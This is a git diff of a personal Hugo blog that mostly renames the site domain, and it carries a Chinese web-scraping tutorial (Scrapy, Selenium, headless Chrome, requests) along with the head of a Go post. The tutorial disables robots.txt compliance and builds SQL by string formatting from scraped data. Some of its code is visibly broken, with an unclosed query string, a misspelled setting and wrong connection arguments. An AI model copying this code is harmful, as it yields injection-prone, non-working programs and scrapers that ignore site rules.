-class CjlioSpider(scrapy.Spider):
-    name = 'cjlio'
-    allowed_domains = ['xiaochenabc123.test.com'] # 过滤爬取的URL，不在此范围内的域名会被过滤掉
-    start_urls = ['http://xiaochenabc123.test.com/']
-
-    def parse(self, response):
-        content = response.text
-        print(content)
-</code></pre><p>response属性：.text（返回响应的字符串），.body（返回二进制数据），.xpath()（使用xpath方法来解析，返回的数据为列表），.extract()获取seletor对象的data属性值，.extract_first()获取seletor列表的第一个的数据</p><p>还有.url（url地址），.status（状态码），.encoding（响应正文的编码），.request（生成request对象），.css()（用css选择器方式解析数据），.urljoin()（生成绝对url）</p><p>执行爬虫程序（cjlio为爬虫的name）</p><p>scrapy crawl cjlio</p><p>将获取的数据存储为json文件</p><p>scrapy crawl cjlio -o cjlio.json</p><p>注意：因为scrapy默认使用ascii存储json，需要改为utf-8</p><p>在settings.py中添加FEED_EXPORT_ENCODING = &lsquo;utf-8&rsquo;解决</p><p>关闭robots协议（不遵守robots协议，注释掉或者改为False，默认遵守robots协议）</p><pre><code>ROBOTSTXT_OBEY = False
-</code></pre><p>scrapy shell是一个交互终端，在没有启动spider的情况下尝试以及测试程序的xpath和css表达式</p><p>scrapy shell可以借助ipython终端</p><p>pip install ipython</p><p>注意：如果安装ipython，scrapy将使用ipython代替Python标准终端，ipython提供了自动补全，高亮等等功能</p><p>调试例子（不需要进入Python环境，可以直接在终端中调试）</p><p>scrapy shell xiaochenabc123.test.com</p><p>response.text</p><p>response.xpath()</p><p>items.py定义数据结构</p><pre><code>import scrapy
-class ScrapydemoItem(scrapy.Item):
-    name = scrapy.Field()
-    img = scrapy.Field()
-</code></pre><p>cjlio.py（爬虫程序）</p><pre><code>import scrapy
-class CjlioSpider(scrapy.Spider):
-    name = 'cjlio'
-    allowed_domains = ['xiaochenabc123.test.com']
-    start_urls = ['http://xiaochenabc123.test.com/']
-    def parse(self, response):
-        content = response.text
-        name = content.xpath(&quot;xpath匹配&quot;).extract_first()
-        img = content.xpath(&quot;xpath匹配&quot;).extract_first()
-        print(name, img)
-</code></pre><p>管道封装</p><p>cjlio.py（爬虫程序）</p><pre><code>from scrapyDemo.items import ScrapydemoItem
-...
-data = scrapyDemoItems(name=name,img=img)
-yield data # 每获取一次data数据，就是返回一次数据给管道
-# yield的作用类似于生成器（generator）
-</code></pre><p>注意：如果想使用管道，需要在settings.py中开启</p><p>找到</p><pre><code>ITEM_PIPELINES = {
-    'scrapyDemo.pipelines.ScrapydemoPipeline': 300,
-}
-</code></pre><p>将注释去掉，300指优先级（优先级1到1000），值越小优先级越高</p><p>pipelines.py（管道文件）中的item就是爬虫程序返回的data数据</p><p>启动爬虫之前（open_spider(self, spider)）</p><p>启动爬虫之后（close_spider(self, spider)）</p><p>开启多管道</p><p>在 ITEM_PIPELINES 字段中添加新管道（settings.py）</p><p>然后在pipelines.py定义新管道的类</p><p>查询当前项目中的爬虫任务：scrapy list</p><p>自定义UA</p><p>settings.py文件中USER_AGENT字段或者DEFAULT_REQUEST_HEADERS都可以</p><p>项目中配置headers</p><p>spiders爬虫程序</p><pre><code>headers = {
-    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'
-}
-url = &quot;https://xiaochenabc123.test.com&quot;
-yield scrapy.Request(
-    url=url,
-    headers=headers
-)
+data.clear() #清除内容</p><p>执行指定js脚本</p><p>driver.execute_script(js)</p><p>例如：</p><pre><code>import time
+from selenium import webdriver
+path = &quot;msedgedriver.exe&quot;
+driver = webdriver.Edge(path)
+url = &quot;https://www.baidu.com/&quot;
+driver.get(url)
+data = driver.page_source
+datas = driver.find_element_by_id(&quot;kw&quot;)
+datas.send_keys(&quot;小陈的辣鸡屋&quot;)
+a = driver.find_element_by_id(&quot;su&quot;)
+a.click()
+time.sleep(2)
+#bottom = 'document.documentElement.scrollTop=10000'
+#driver.execute_script(bottom)
+b = driver.find_element_by_link_text(&quot;小陈的辣鸡屋&quot;)
+b.click()
+</code></pre><p>Phantomjs是一个无界面浏览器，因为其不需要进行gui渲染，效率比较高，但是已经停止更新，这里只了解一下，推荐使用Headless Chrome</p><p><a href=https://phantomjs.org/>https://phantomjs.org/</a></p><p>phantomjs操作方式一样</p><pre><code>driver = webdriver.PhantomJS(path)
+</code></pre><p>因为没有界面，访问网页是没有界面的，需要通过快照获取，driver.save_screenshot(&ldquo;xiaochenabc123.test.com.jpg&rdquo;)</p><p>Headless Chrome是基于Chrome 59版本以及以上版本的无界面模式（mac和Linux最低要求59版本，而win需要60版本）</p><pre><code>from selenium import webdriver
+from selenium.webdriver.chrome.options import Options
+chrome_options = Options()
+chrome_options.add_argument('--headless') # 无界面模式启动
+chrome_options.add_argument('--disable-gpu')
+path = &quot;Chrome.exe&quot; # Chrome浏览器的路径
+chrome_options.binary_location = path
+driver = webdriver.Chrome(chrome_options=chrome_options) # 实例化
+url = &quot;https://xiaochenabc123.test.com&quot;
+driver.get(&quot;url&quot;)
+driver.save_screenshot(&quot;xiaochenabc123.test.com.jpg&quot;)
+</code></pre><p>具体操作方法和selenium一样</p><hr><p>requests库是基于Python开发并且封装的http库，HTTP for Humans</p><p>安装</p><p>pip install requests</p><p>使用方式很简单</p><pre><code>import requests
+url = &quot;https://xiaochenabc123.test.com&quot;
+response = requests.get(url)
+response.status_code # 200 返回状态码
+print(type(response)) # 返回类型
+response.encoding = &quot;utf-8&quot; # 响应的编码
+print(response.text) # 返回源代码
+print(response.url) # 返回请求的url
+print(response.content) # 返回二进制数据
+print(response.headers) # 返回响应头
+</code></pre><p>requests在请求json的时候还可以直接获取</p><p>get请求</p><p>get请求的参数通过params属性传递，不需要考虑url的编码问题，不需要考虑请求对象，例如：</p><pre><code>data = {
+    'wd': 'python'
+}
+headers = {
+        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'
+}
+response = requests.get('https://baidu.com/s?', params=data, headers=headers)
+print (response.text)
+</code></pre><p>post请求</p><p>post请求不需要考虑编解码，不需要考虑请求对象</p><pre><code>data = {
+    'url': 'xiaochenabc123.test.com',
+    'name': 'root'
+}
+url = &quot;https://httpbin.org/post&quot;
+response = requests.post(url=url, data=data, headers=headers)
+import json
+obj = json.loads(response.text,encoding=&quot;utf-8&quot;)
+print (obj)
+</code></pre><p>注意：默认使用application/x-www-form-urlencoded进行编码，如果想传递json，需要使用requests.post()的json参数，上传文件用files参数</p><p>另外还支持put()和delete()</p><p>传入cookie需要cookies参数，支持设置请求超时（timeout参数，单位为秒）</p><p>代理用proxies参数，指向一个字典（代理池）</p><hr><p>scrapy是基于Python开发的爬取数据，提取数据的框架，可应用在数据挖掘，数据存储</p><p>安装</p><p>pip install scrapy</p><p>scrapy架构组件分为Scrapy Engine（引擎），Scheduler（调度器），Downloader（下载器），Spider（爬虫），Item Pipeline（数据管道），Downloader middlewares（下载中间件），Spider middlewares（Spider中间件）</p><p>Scrapy Engine：负责控制数据流（Data Flow）在组件中的流动，例如通信，数据传递，在某些情况下还触发相对应的事件</p><p>Scheduler：负责接收引擎发送的request请求并且将其存储在调度器中，当引擎需要时提供给引擎，调度器会自动去重url（也可以不去重）</p><p>Downloader：负责下载引擎发送的全部request请求的响应数据，将获取到数据提供给Spider</p><p>Spider：负责处理全部响应数据，并且进行分析提取数据，获取需要的数据，并且将需要进行额外跟进的url传递给引擎，以便重新进入调度器，一般情况一个Spider只负责一个或者多个特定的url</p><p>Item Pipeline：负责处理Spider提取出来的数据，经过分析，过滤，存储等步骤，最后存储在本地或者数据库中</p><p>Downloader middlewares：其是引擎和Downloader之间的钩子，自定义扩展下载器的功能，例如更换ua，ip等等</p><p>Spider middlewares：Spider和引擎之间的钩子，用来处理Spider的输入响应和输出数据，自定义扩展Spider的功能</p><p>具体数据流线路：引擎请求一个url，并且获取到处理这个url的Spider，并且向该Spider请求要第一个爬取的url，引擎获取到要爬取的url，将其传递给调度器，引擎再向调度器请求要下一个爬取的URL，调度器返回url给引擎，引擎通过下载中间件传递给下载器，由下载器下载数据，当数据下载完毕（不管是否成功），下载器将响应数据通过下载中间件返回给引擎，引擎得到数据并且通过Spider中间件传递给Spider处理数据，Spider处理数据并且将处理完毕的数据以及需要跟进的url提供给引擎，引擎再将处理完毕的数据传递给Item Pipeline进行下一步处理，并且将需要跟进的url传递给调度器，一直重复循环直到调度器中没有request</p><p>新建项目：</p><p>scrapy startproject scrapyDemo</p><p>这个项目中包含了一些文件，分别是scrapy.cfg（配置文件），scrapyDemo/（项目的Python模块，将在这里编写程序），items.py（item文件，目标文件），pipelines.py（管道文件，用来处理数据，默认为300优先级，值越小优先级越高），settings.py（项目的设置文件，例如robots协议是否遵守，定义ua等等），spiders/（spider爬虫程序存放的目录）</p><p>spider爬虫程序（/spiders目录下）</p><p>创建一个爬虫必须继承scrapy.Spider类，并且定义三个参数（必须唯一，用来区别其他爬虫），start_urls（爬虫程序执行时要爬取的url），parse()在被调用时，下载完成后得到的响应将作为唯一参数传递给该方法，这个方法负责解析返回回来的数据，以及提取数据和后续要进行下一步处理的响应数据</p><p>快速创建一个基础scrapy爬虫程序</p><p>scrapy genspider cjlio xiaochenabc123.test.com</p><pre><code>import scrapy
+
+class CjlioSpider(scrapy.Spider):
+    name = 'cjlio'
+    allowed_domains = ['xiaochenabc123.test.com'] # 过滤爬取的URL，不在此范围内的域名会被过滤掉
+    start_urls = ['http://xiaochenabc123.test.com/']
+
+    def parse(self, response):
+        content = response.text
+        print(content)
+</code></pre><p>response属性：.text（返回响应的字符串），.body（返回二进制数据），.xpath()（使用xpath方法来解析，返回的数据为列表），.extract()获取seletor对象的data属性值，.extract_first()获取seletor列表的第一个的数据</p><p>还有.url（url地址），.status（状态码），.encoding（响应正文的编码），.request（生成request对象），.css()（用css选择器方式解析数据），.urljoin()（生成绝对url）</p><p>执行爬虫程序（cjlio为爬虫的name）</p><p>scrapy crawl cjlio</p><p>将获取的数据存储为json文件</p><p>scrapy crawl cjlio -o cjlio.json</p><p>注意：因为scrapy默认使用ascii存储json，需要改为utf-8</p><p>在settings.py中添加FEED_EXPORT_ENCODING = &lsquo;utf-8&rsquo;解决</p><p>关闭robots协议（不遵守robots协议，注释掉或者改为False，默认遵守robots协议）</p><pre><code>ROBOTSTXT_OBEY = False
+</code></pre><p>scrapy shell是一个交互终端，在没有启动spider的情况下尝试以及测试程序的xpath和css表达式</p><p>scrapy shell可以借助ipython终端</p><p>pip install ipython</p><p>注意：如果安装ipython，scrapy将使用ipython代替Python标准终端，ipython提供了自动补全，高亮等等功能</p><p>调试例子（不需要进入Python环境，可以直接在终端中调试）</p><p>scrapy shell xiaochenabc123.test.com</p><p>response.text</p><p>response.xpath()</p><p>items.py定义数据结构</p><pre><code>import scrapy
+class ScrapydemoItem(scrapy.Item):
+    name = scrapy.Field()
+    img = scrapy.Field()
+</code></pre><p>cjlio.py（爬虫程序）</p><pre><code>import scrapy
+class CjlioSpider(scrapy.Spider):
+    name = 'cjlio'
+    allowed_domains = ['xiaochenabc123.test.com']
+    start_urls = ['http://xiaochenabc123.test.com/']
+    def parse(self, response):
+        content = response.text
+        name = content.xpath(&quot;xpath匹配&quot;).extract_first()
+        img = content.xpath(&quot;xpath匹配&quot;).extract_first()
+        print(name, img)
+</code></pre><p>管道封装</p><p>cjlio.py（爬虫程序）</p><pre><code>from scrapyDemo.items import ScrapydemoItem
+...
+data = scrapyDemoItems(name=name,img=img)
+yield data # 每获取一次data数据，就是返回一次数据给管道
+# yield的作用类似于生成器（generator）
+</code></pre><p>注意：如果想使用管道，需要在settings.py中开启</p><p>找到</p><pre><code>ITEM_PIPELINES = {
+    'scrapyDemo.pipelines.ScrapydemoPipeline': 300,
+}
+</code></pre><p>将注释去掉，300指优先级（优先级1到1000），值越小优先级越高</p><p>pipelines.py（管道文件）中的item就是爬虫程序返回的data数据</p><p>启动爬虫之前（open_spider(self, spider)）</p><p>启动爬虫之后（close_spider(self, spider)）</p><p>开启多管道</p><p>在 ITEM_PIPELINES 字段中添加新管道（settings.py）</p><p>然后在pipelines.py定义新管道的类</p><p>查询当前项目中的爬虫任务：scrapy list</p><p>自定义UA</p><p>settings.py文件中USER_AGENT字段或者DEFAULT_REQUEST_HEADERS都可以</p><p>项目中配置headers</p><p>spiders爬虫程序</p><pre><code>headers = {
+    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'
+}
+url = &quot;https://xiaochenabc123.test.com&quot;
+yield scrapy.Request(
+    url=url,
+    headers=headers
+)
 </code></pre><p>数据入库</p><p>安装pymysql</p><p>pip install pymysql</p><p>settings.py</p><p>（pymysql）
 DB_HOST = &ldquo;127.0.0.1&rdquo;
 DB_RORT = 3306
 DB_USER = &ldquo;root&rdquo;
 DB_PASSWORD = &ldquo;123abc&rdquo;
 DB_NAME = &ldquo;dataMax&rdquo;
-DB_CHARSET = &ldquo;utf8&rdquo;</p><p>开一条新管道，专门处理数据入数据库</p><p>pipeline.py</p><pre><code>from scrapy.utils.project import get_project_settings
-import pymysql
-#读取settings文件
-class MysqlMax:
-    def open_spider(self, spider):
-        settings = get_project_settings()
-        self.host = settings['DB_HOST']
-        self.port = settings['DB_PORT']
-        self.user = settings['DB_USER']
-        self.password = settings['DB_PASSWORD']
-        self.name = settings['DB_NAME']
-        self.charset = settings['DB_CHARSET']
-        self.connect()
-    def connect(self):
-        self.conn = pymysql.connect(
-            host = self.host,
-            port = self.port,
-            user = self.user,
-            password = self.password,
-            name = self.name,
-            charset = self.charset
-        )
-        self.cursor = self.conn.cursor()
-
-    def process_item(self,item,spider):
-        sql = 'insert into book(name,src) values(&quot;{}&quot;,&quot;{}&quot;).format(item['name'],item['img'])
-        self.cursor.execute(sql)
-        self.conn.commit()
-        # 执行sql语句，并且提交
-        return item
-
-     def close_spider(self, spider):
-         self.cursor.close()
-         self.conn.close()
-</code></pre><p>链接跟进和链接提取器</p><p>爬虫程序文件</p><pre><code>rules = (
-    Rule(LinkExtractor(allow = &quot;&quot;),
-        callback = &quot;parse_item&quot;, 
-        follow = True),
-)
+DB_CHARSET = &ldquo;utf8&rdquo;</p><p>开一条新管道，专门处理数据入数据库</p><p>pipeline.py</p><pre><code>from scrapy.utils.project import get_project_settings
+import pymysql
+#读取settings文件
+class MysqlMax:
+    def open_spider(self, spider):
+        settings = get_project_settings()
+        self.host = settings['DB_HOST']
+        self.port = settings['DB_PORT']
+        self.user = settings['DB_USER']
+        self.password = settings['DB_PASSWORD']
+        self.name = settings['DB_NAME']
+        self.charset = settings['DB_CHARSET']
+        self.connect()
+    def connect(self):
+        self.conn = pymysql.connect(
+            host = self.host,
+            port = self.port,
+            user = self.user,
+            password = self.password,
+            name = self.name,
+            charset = self.charset
+        )
+        self.cursor = self.conn.cursor()
+
+    def process_item(self,item,spider):
+        sql = 'insert into book(name,src) values(&quot;{}&quot;,&quot;{}&quot;).format(item['name'],item['img'])
+        self.cursor.execute(sql)
+        self.conn.commit()
+        # 执行sql语句，并且提交
+        return item
+
+     def close_spider(self, spider):
+         self.cursor.close()
+         self.conn.close()
+</code></pre><p>链接跟进和链接提取器</p><p>爬虫程序文件</p><pre><code>rules = (
+    Rule(LinkExtractor(allow = &quot;&quot;),
+        callback = &quot;parse_item&quot;, 
+        follow = True),
+)
 </code></pre><p>allow为正则表达式，当链接满足正则表达式提取，为空则全部匹配（链接提取器）</p><p>callback为指定解析数据的规则</p><p>follow一般情况默认为False，指定是否从response提取的链接进行跟进，当callback为none时，follow为True</p><p>还有dent =()，用来过滤符合正则表达式的链接，当符合时不提取</p><p>allow_domains：允许的域名，deny_domains：不允许的域名</p><p>restrict_xpaths：提取符合xpath的链接，restrict_css：提取符合选择器的链接</p><p>注意：follow当为True会一直提取符合规则的链接，直到全部链接提取完毕</p><p>日志以及日志等级</p><p>日志等级</p><p>CRITICAL：严重错误
 ERROR：一般错误
 WARNING：警告
 INFO：一般信息
 DEBUG：调试信息（默认，只有出现DEBUG以及以上等级的日志才会打印输出）</p><p>settings.py文件可以设置哪些日志显示，哪些不显示</p><p>LOG_FILE：将信息存储到文件中，不显示在输出界面，后缀为.log</p><p>LOG_LEVEL：指定日志显示的等级</p><p>例如：
 LOG_LEVEL = &ldquo;WARNING&rdquo;
-LOG_FILE= &ldquo;demo.log&rdquo;</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/python/>Python</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/128/><span class=title>« Prev</span><br><span>Golang进阶扩展笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/124/><span class=title>Next »</span><br><span>Pinia---vuejs的轻量级状态管理库</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+LOG_FILE= &ldquo;demo.log&rdquo;</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/python/>Python</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/128/><span class=title>« Prev</span><br><span>Golang进阶扩展笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/124/><span class=title>Next »</span><br><span>Pinia---vuejs的轻量级状态管理库</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/128/index.html b/posts/128/index.html
index f29e4eea..44d52427 100644
--- a/posts/128/index.html
+++ b/posts/128/index.html
@@ -35,8 +35,8 @@
 载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)
 存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)
 交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)
-比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/128/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Golang进阶扩展笔记"><meta property="og:description" content="这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
+比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/128/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Golang进阶扩展笔记"><meta property="og:description" content="这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
 并发
 go的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）
 内核态：程序执行操作系统层级的程序时
@@ -73,7 +73,7 @@
 载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)
 存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)
 交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)
-比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/128/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-01-16T09:08:00+00:00"><meta property="article:modified_time" content="2022-01-16T09:08:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Golang进阶扩展笔记"><meta name=twitter:description content="这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
+比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/128/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-01-16T09:08:00+00:00"><meta property="article:modified_time" content="2022-01-16T09:08:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Golang进阶扩展笔记"><meta name=twitter:description content="这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
 并发
 go的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）
 内核态：程序执行操作系统层级的程序时
@@ -110,7 +110,7 @@
 载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)
 存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)
 交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)
-比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Golang进阶扩展笔记","item":"https://xiaochenabc123.github.io/posts/128/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Golang进阶扩展笔记","name":"Golang进阶扩展笔记","description":"这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html\n并发\ngo的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential 